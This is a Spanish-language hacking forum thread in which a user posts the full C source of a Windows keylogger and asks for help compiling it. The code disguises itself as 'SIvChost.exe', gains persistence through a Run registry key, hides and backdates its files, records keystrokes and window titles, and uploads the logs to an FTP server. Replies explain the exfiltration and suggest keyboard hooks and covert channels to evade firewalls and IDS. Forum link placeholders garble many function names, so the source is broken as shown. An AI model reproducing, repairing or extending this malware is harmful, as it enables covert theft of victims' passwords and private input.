comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] Ayuda compilar keylogger

  • 2 Respuestas
  • 1609 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado deth

  • *
  • Underc0der
  • Mensajes: 61
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« en: Enero 07, 2014, 03:40:34 pm »
hola amigos tengo este codigo de un keylogger lo saque de una revista digital de seguridad informatica de hace un tiempo, pero no puedo compilarlo me marca  "parse error" y otros errores, aqui el codigo:

Código: C
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <windows.h>
  5. #include <winsock2.h>
  6. #include <wininet.h>
  7. #include <time.h>
  8.  
  9. long filesize(FILE *stream);
  10. int ftpst();
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18.  
  19. int file_exist(char *filename);
  20. void Dey();
  21. void fecha(char *endo);
  22. void config();
  23.  
  24. char servidor[31], usuario[31], clave[17], Svl[21], pa[50];
  25. char name[100],pro[16],pat[250],yotas[250];
  26. HWND aquien;
  27. FILE *enf;
  28. char nombre[200],txt[10]=".txt";
  29. char *nom;
  30. int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE
  31. hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
  32. {
  33.     DWORD tamanolen=100;
  34.     char a[16],b[16],padre[100],laveria[250];
  35.     int ot;
  36.     time_t t;
  37.     HKEY hreg;
  38.     char *ubica,ubicac[180],caves[253],host[200],archi[250];
  39.     struct hostent *ha;
  40.     WSADATA wsas;
  41.  
  42.     GetModuleFileName(hThisInstance,yotas,250);
  43.     config();
  44.     ubica=ubicac;
  45.     GetSystemDirectory(ubica,180);
  46.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"%s\\",ubica);
  47.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(padre,pat);
  48.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(ubica,"%s\\%s",ubica,Svl);
  49.     GetComputerName(name,&tamanolen);
  50.     _strdate(a);
  51.     _strtime(b);
  52.     nom=nombre;
  53.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(nom,name);
  54.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(nom,"%s%c%c%c%c",nom,,a[0],a[1],a[3],a[4]);
  55.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(laveria,"%s%s",pat,nom);
  56.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(nom,b,2);
  57.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,nom);
  58.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(nom,txt);
  59.     for(ot=0;ot<=24;ot++)
  60.     {
  61.         if(ot<10)
  62.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(caves,"%s0%d",laveria,ot);
  63.         else
  64.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(caves,"%s%d",laveria,ot);
  65.         if(file_exist(caves)==1)
  66.         {
  67.             if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(caves)!=0)
  68.                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(0);
  69.         }
  70.     }
  71.     if(strcmpi(yotas,ubica)!=0)
  72.     {
  73.        if(file_exist(ubica)==0)
  74.        {
  75.          CopyFile(yotas,ubica,0);
  76.          fecha(ubica);
  77.          SetCurrentDirectory(padre);
  78.          WinExec(ubica,0);
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.        }
  87.        No tienes permisos para ver links. Registrate o Entra con tu cuenta(0);
  88.     }
  89.  
  90. RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentV
  91. ersion\\Run",0,KEY_ALL_ACCESS,&hreg);
  92.     RegSetValueEx(hreg,pro,0,REG_SZ,ubica,No tienes permisos para ver links. Registrate o Entra con tu cuenta(ubica));
  93.     RegCloseKey(hreg);
  94.     if(!(enf=No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"a")))
  95.     {
  96.        No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"C:\\Windows\\System32\\Qetgeqec");
  97.        if(!(enf=No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"a")))
  98.          No tienes permisos para ver links. Registrate o Entra con tu cuenta(0);
  99.     }
  100.     WSAStartup(MAKEWORD(2,0),&wsas);
  101.     gethostname(host,255);
  102.     ha=gethostbyname(host);
  103.     WSACleanup();
  104.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(archi,"\n| Ejecutandose en Host: (%s) con IP:
  105. (%s)",host,inet_ntoa(*((struct in_addr *)ha->h_addr)));
  106.     if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(archi)<70)
  107.     {
  108.         for(ot=No tienes permisos para ver links. Registrate o Entra con tu cuenta(archi);ot<69;ot++)
  109.         {
  110.               archi[ot]=' ';
  111.               archi[ot+1]='\0';
  112.         }
  113.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(archi," |");
  114.     }
  115.     archi[No tienes permisos para ver links. Registrate o Entra con tu cuenta(archi)]='\0';
  116.     ot=GetKBCodePage();
  117.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n+--------------------------------------------------
  118. ------------------+");
  119.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n| DKey 1.2.1 - se reserva derechos de autor |");
  120.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n| Proceso Iniciado %s %s                                
  121. |",a,b);
  122.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,archi);
  123.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n| Codigo para modificacion de users de consultorio
  124. informatico          |");
  125.     if(ot!=850)
  126.     {
  127.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\nLa configuracion del teclado no es soportada");
  128.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\npor DKey 1.2.1");
  129.     }
  130.     fecha(pat);
  131.     Dey();
  132. }
  133. void Dey()
  134. {
  135.    time_t ltime;
  136.    int teta=0;
  137.    int anterior=1;
  138.    int blo=0;
  139.    char Taquien[255];
  140.    char *tetas;
  141.    int D;
  142.    int tama=1024;
  143.    char alfabeta[] = "abcdefghijklmnopqrstuvwxyz";
  144.    char alfabetanum[] = "0123456789";
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(stdin);
  155.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n+---------------------------------------------------
  156. -----------------+");
  157.    tama=filesize(enf);
  158.    fecha(pat);
  159.    aquien=GetForegroundWindow();
  160.    tetas=No tienes permisos para ver links. Registrate o Entra con tu cuenta(32768,sizeof(char));
  161.    while(1<2)
  162.    {
  163.        if(GetForegroundWindow()!=aquien)
  164.        {
  165.            if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(Taquien)>0 && No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)>0)
  166.            {
  167.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime);
  168.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime);
  169.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n\nFecha: %s",No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime));
  170.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"[ Ventana: %s ]",Taquien);
  171.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf,"\n    %s",tetas);
  172.               if(tama<filesize(enf))
  173.               {
  174.                   tama=filesize(enf)+1024;
  175.                   No tienes permisos para ver links. Registrate o Entra con tu cuenta(enf);
  176.                   fecha(pat);
  177.                   ftpst();
  178.                   if(!(enf=No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"a")))
  179.                   {
  180.                      No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"C:\\Windows\\System32\\Qetgeqec");
  181.                      if(!(enf=No tienes permisos para ver links. Registrate o Entra con tu cuenta(pat,"a")))
  182.                      No tienes permisos para ver links. Registrate o Entra con tu cuenta(0);
  183.                   }
  184.               }
  185.               fecha(pat);
  186.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas);
  187.               tetas=No tienes permisos para ver links. Registrate o Entra con tu cuenta(32768,sizeof(char));
  188.            }
  189.            aquien=GetForegroundWindow();
  190.        }
  191.        else
  192.            GetWindowText(aquien,Taquien,255);
  193.        for(teta=4;teta<256;teta++)
  194.        {
  195.           if(GetAsyncKeyState(teta)==-32767)
  196.           {
  197.               if(teta>=65 && teta<91)
  198.               {
  199.                 for(D=65;D<91;D++)
  200.                 {
  201.                   if(teta==D)
  202.                   {
  203.                      if(blo==1)
  204.                         strupr(alfabeta);
  205.                      else if(blo==0)
  206.                         strlwr(alfabeta);
  207.                      tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]=alfabeta[teta-65];
  208.                      tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  209.                      anterior=0;
  210.                   }
  211.                 }
  212.               }
  213.               else if(teta>=96 && teta<106)
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.               {
  222.                 for(D=96;D<106;D++)
  223.                 {
  224.                  if(teta==D)
  225.                  {
  226.                      tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]=alfabetanum[teta-96];
  227.                      tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  228.                      anterior=0;
  229.                  }
  230.                 }
  231.               }
  232.               switch(teta)
  233.               {
  234.                   case 8:
  235.                     if (anterior==0)
  236.                        tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)-1]='\0';
  237.                     else if(anterior==2)
  238.                        tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)-3]='\0';
  239.                     else if(anterior==1)
  240.                          No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Retro]");
  241.                     break;
  242.                   case 9:
  243.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Tab]");
  244.                     anterior=1;
  245.                     break;
  246.                   case 13:
  247.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Enter]");
  248.                     if (anterior==0)
  249.                        No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"\n");
  250.                     else if(anterior==2)
  251.                        No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"\n");
  252.                     anterior=1;
  253.                     break;
  254.                   case 16:
  255.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Shift]");
  256.                     anterior=1;
  257.                     break;
  258.                   case 17:
  259.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Ctrl]");
  260.                     anterior=1;
  261.                     break;
  262.                   case 18:
  263.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Alt]");
  264.                     anterior=1;
  265.                     break;
  266.                   case 20:
  267.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Bloq]");
  268.                     if(blo==1)
  269.                     {
  270.                        blo=0;
  271.                        goto fin;
  272.                     }
  273.                     else if(blo==0)
  274.                     {
  275.                        blo=1;
  276.                        anterior=1;
  277.                     }
  278.                     fin:
  279.                        anterior=1;
  280.                     break;
  281.                   case 27:
  282.  
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Escape]");
  290.                     anterior=1;
  291.                     break;
  292.                   case 32:
  293.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas," ");
  294.                     anterior=0;
  295.                     break;
  296.                   case 33:
  297.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[RePag]");
  298.                     anterior=1;
  299.                     break;
  300.                   case 34:
  301.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[AvPag]");
  302.                     anterior=1;
  303.                     break;
  304.                   case 35:
  305.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Fin]");
  306.                     anterior=1;
  307.                     break;
  308.                   case 36:
  309.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Inicio]");
  310.                     anterior=1;
  311.                     break;
  312.                   case 37:
  313.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Izquierda]");
  314.                     anterior=1;
  315.                     break;
  316.                   case 38:
  317.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Arriba]");
  318.                     anterior=1;
  319.                     break;
  320.                   case 39:
  321.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Derecha]");
  322.                     anterior=1;
  323.                     break;
  324.                   case 40:
  325.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Abajo]");
  326.                     anterior=1;
  327.                     break;
  328.                   case 44:
  329.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[ImprPant]");
  330.                     anterior=1;
  331.                     break;
  332.                   case 45:
  333.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Insert]");
  334.                     anterior=1;
  335.                     break;
  336.                   case 46:
  337.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Supr]");
  338.                     anterior=1;
  339.                     break;
  340.                   case 48:
  341.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='0';
  342.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  343.                     anterior=0;
  344.                     break;
  345.                   case 49:
  346.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='1';
  347.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  348.                     anterior=0;
  349.                     break;
  350.  
  351.  
  352.  
  353.  
  354.  
  355.  
  356.  
  357.                   case 50:
  358.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='2';
  359.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  360.                     anterior=0;
  361.                     break;
  362.                   case 51:
  363.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='3';
  364.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  365.                     anterior=0;
  366.                     break;
  367.                   case 52:
  368.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='4';
  369.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  370.                     anterior=0;
  371.                     break;
  372.                   case 53:
  373.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='5';
  374.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  375.                     anterior=0;
  376.                     break;
  377.                   case 54:
  378.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='6';
  379.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  380.                     anterior=0;
  381.                     break;
  382.                   case 55:
  383.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='7';
  384.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  385.                     anterior=0;
  386.                     break;
  387.                   case 56:
  388.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='8';
  389.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  390.                     anterior=0;
  391.                     break;
  392.                   case 57:
  393.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='9';
  394.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  395.                     anterior=0;
  396.                     break;
  397.                   case 91:
  398.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Win]");
  399.                     anterior=1;
  400.                     break;
  401.                   case 93:
  402.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[Propie]");
  403.                     anterior=1;
  404.                     break;
  405.                   case 106:
  406.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='*';
  407.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  408.                     anterior=0;
  409.                     break;
  410.                   case 107:
  411.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='+';
  412.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  413.                     anterior=0;
  414.                     break;
  415.                   case 109:
  416.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='-';
  417.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424.  
  425.                     anterior=0;
  426.                     break;
  427.                   case 110:
  428.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='.';
  429.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  430.                     anterior=0;
  431.                     break;;
  432.                   case 111:
  433.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='/';
  434.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  435.                     anterior=0;
  436.                     break;
  437.                   case 112:
  438.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F1]");
  439.                     anterior=1;
  440.                     break;
  441.                   case 113:
  442.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F2]");
  443.                     anterior=1;
  444.                     break;
  445.                   case 114:
  446.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F3]");
  447.                     anterior=1;
  448.                     break;
  449.                   case 115:
  450.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F4]");
  451.                     anterior=1;
  452.                     break;
  453.                   case 116:
  454.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F5]");
  455.                     anterior=1;
  456.                     break;
  457.                   case 117:
  458.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F6]");
  459.                     anterior=1;
  460.                     break;
  461.                   case 118:
  462.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F7]");
  463.                     anterior=1;
  464.                     break;
  465.                   case 119:
  466.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F8]");
  467.                     anterior=1;
  468.                     break;
  469.                   case 120:
  470.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F9]");
  471.                     anterior=1;
  472.                     break;
  473.                   case 121:
  474.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F10]");
  475.                     anterior=1;
  476.                     break;
  477.                   case 122:
  478.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F11]");
  479.                     anterior=1;
  480.                     break;
  481.                   case 123:
  482.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[F12]");
  483.                     anterior=1;
  484.                     break;
  485.                   case 144:
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492.  
  493.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[BloqNum]");
  494.                     anterior=1;
  495.                     break;
  496.                   case 145:
  497.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[BloqDespl]");
  498.                     anterior=1;
  499.                     break;
  500.                   case 186:
  501.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[´]");
  502.                     anterior=2;
  503.                     break;
  504.                   case 187:
  505.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='+';
  506.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  507.                     anterior=0;
  508.                     break;
  509.                   case 188:
  510.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]=',';
  511.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  512.                     anterior=0;
  513.                     break;
  514.                   case 189:
  515.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='-';
  516.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  517.                     anterior=0;
  518.                     break;
  519.                   case 190:
  520.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='.';
  521.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  522.                     anterior=0;
  523.                     break;
  524.                   case 191:
  525.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='ç';
  526.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  527.                     anterior=0;
  528.                     break;
  529.                   case 192:
  530.                     if(blo==1)
  531.                     {
  532.                        No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"Ñ");
  533.                     }
  534.                     else if(blo==0)
  535.                     {
  536.                        No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"ñ");
  537.                     }
  538.                     anterior=0;
  539.                     break;
  540.                   case 219:
  541.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[']");
  542.                     anterior=2;
  543.                     break;
  544.                   case 220:
  545.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\\';
  546.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  547.                     anterior=0;
  548.                     break;
  549.                   case 221:
  550.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='¡';
  551.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  552.                     anterior=0;
  553.                     break;
  554.  
  555.  
  556.  
  557.  
  558.  
  559.  
  560.  
  561.                   case 222:
  562.                     No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas,"[");
  563.                     anterior=0;
  564.                     break;
  565.                   case 226:
  566.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='<';
  567.                     tetas[No tienes permisos para ver links. Registrate o Entra con tu cuenta(tetas)]='\0';
  568.                     anterior=0;
  569.                     break;
  570.               };
  571.           }
  572.        }
  573.    }
  574. }
  575. int file_exist(char *filename)
  576. {
  577.   return (access(filename, 0) == 0);
  578. }
  579. long filesize(FILE *stream)
  580. {
  581.    long curpos, length;
  582.    curpos = No tienes permisos para ver links. Registrate o Entra con tu cuenta(stream);
  583.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(stream, 0L, SEEK_END);
  584.    length = No tienes permisos para ver links. Registrate o Entra con tu cuenta(stream);
  585.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(stream, curpos, SEEK_SET);
  586.    return length;
  587. }
  588.  
  589. int ftpst()
  590. {
  591.     HINTERNET con,connecta,archivo;
  592.  
  593.     con=InternetOpen("Drox Team",INTERNET_SCHEME_FTP,NULL,NULL,0);
  594.     if(con!=NULL)
  595.     {
  596.  
  597. connecta=InternetConnect(con,servidor,21,usuario,clave,INTERNET_SERVIC
  598. E_FTP,INTERNET_FLAG_PASSIVE,0);
  599.         if(connecta!=NULL)
  600.         {
  601.  
  602. archivo=FtpOpenFile(connecta,nom,GENERIC_WRITE,FTP_TRANSFER_TYPE_ASCII
  603. ,0);
  604.             InternetCloseHandle(archivo);
  605.             FtpPutFile(connecta,pat,nom,FTP_TRANSFER_TYPE_ASCII,0);
  606.             InternetCloseHandle(connecta);
  607.         }
  608.         InternetCloseHandle(con);
  609.     }
  610.     return 0;
  611. }
  612.  
  613. void fecha(char *endo)
  614. {
  615.     FILETIME ft;
  616.     SYSTEMTIME st;
  617.     BOOL f;
  618.     HANDLE hFile;
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.     hFile=CreateFile(endo,GENERIC_READ |
  630. GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  631.     st.wDay=1;
  632.     st.wDayOfWeek=0;
  633.     st.wHour=5;
  634.     st.wMilliseconds=0;
  635.     st.wMinute=0;
  636.     st.wMonth=1;
  637.     st.wSecond=0;
  638.     st.wYear=2000;
  639.     SystemTimeToFileTime(&st, &ft);
  640.     f=SetFileTime(hFile, &ft, &ft, &ft);
  641.     SetFileAttributes(endo,2|4);
  642.     CloseHandle(hFile);
  643.     return;
  644. }
  645. void config()      /* Modulo alterado */
  646. {
  647.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(servidor,"Servidor FTP");
  648.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(usuario,"Nombre de usuario");
  649.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(clave,"123456 :P");
  650.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(Svl,"SIvChost.exe");
  651.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(pro,"SIvChost");
  652.     return;
  653. }
  654.  

deberia ser cliente y servidor ? pero donde empieza el codigo del cliente y el del servidor? o es todo en uno?

gracias de antemano.
« Última modificación: Agosto 19, 2014, 09:38:16 pm por Expermicid »

Desconectado #define

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
  • Por supuesto, el proyecto estará para mañana...
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 17, 2014, 03:22:13 pm »
Hola, aquí va mi primer mensaje en la comunidad jejeje... Eres el afortunado :P

Hahaha, bueno, según lo que he visto del código (yo justamente ahora ando intentando hacer el mío propio pero no es fácil), únicamente tienes el código del keylogger (si me equivoco por favor corregidme). Me explico:

Para enviar y recibir datos a través de Internet, me refiero a los datos que capture el keylogger en el ordenador de la víctima (enviar dichos datos de la víctima, que es el cliente, al servidor, que recibirá los datos), hay que programar lo que se conoce como sockets. Los sockets (lo explico con mis palabras) son unas funciones del sistema operativo para hacer uso de los protocolos de la capa de transporte (TCP/UDP) principalmente. Lo que sucede con los sockets, al igual que con el keylogger, es que para programarlos tienes que tener en cuenta el sistema operativo sobre el cual van a ejecutarse, ya que las librerías que hay que incluir son distintas, pues las API de los sistemas operativos también lo son. Y para keyloggers y sockets hay que hacer uso de las API del sistema operativo.

Te comento lo anterior porque en el código que muestras sí veo un array que llama servidor y más cosas, pero no veo sockets por ningún lado (es un tanto extraño). Pero como ya digo, si alguien sabe que me equivoco no tengo problema en que me corrija, encantado.

Por último, a mí también me dan errores los códigos de keyloggers al compilarlos con determinados compiladores, si usas Windows, Dev-C++ suele ir bastante bien.

Espero haberte aclarado.
Saludos y dale caña, no desesperes!!! 8) ;)

Edito debido a que mi cabeza estaba ausente y puse que IP era un protocolo de la capa de transporte jjejejeje...
« Última modificación: Enero 17, 2014, 03:28:51 pm por #define »
¿Os habéis parado un segundo a pensar qué podría haber pasado si Dennis Ritchie y Ken Thompson no hubieran hecho lo que hicieron o no hubieran existido?

Desconectado Psymera

  • *
  • Underc0der
  • Mensajes: 75
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Enero 23, 2014, 04:41:03 pm »
Bueno hay les van la lluva de pedradas y zapes xD
el codigo esta muy feo en primer lugar xD
pero si tiene envio de datos
es por ftp
asi que no hay cliente servidor
se envian lso datos a un servidor ftp, donde se configura usuaro contraseña puerto y host para coenctar
se auto inicia
en teoria esta completo :3
pero esta muy chafa y que lo que ocupa es el manejo de el estado del teclado con ciclos y no hace un hook al teclado para realmente
interactuar solo al uso del teclado
este lo pueden complar donde kieran, vc o devc
yo prefiero vc es mejod IDE y no tiene nada ke pedirle al compilar al devc solo hay que leer como configurar el compilador de forma adecuada
como sea para incio y dar una idea muy vaga de un keylogger esta bien
si ya realmente quieres jugar con uno funciona in the will
necesitan manejar el hook de teclado :3
o por ke no?
de apis :3
ademas de manejar protocolo estenografiados de comunicacion apra salto de firewalls eh ids :3
El conocimiento es libre...
La información no lo es xD

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 6968
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1588
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2178
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2830
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Problem al instalar Windows "cualquier windows"

Iniciado por Made

Respuestas: 7
Vistas: 2928
Último mensaje Septiembre 03, 2012, 04:53:08 pm
por Made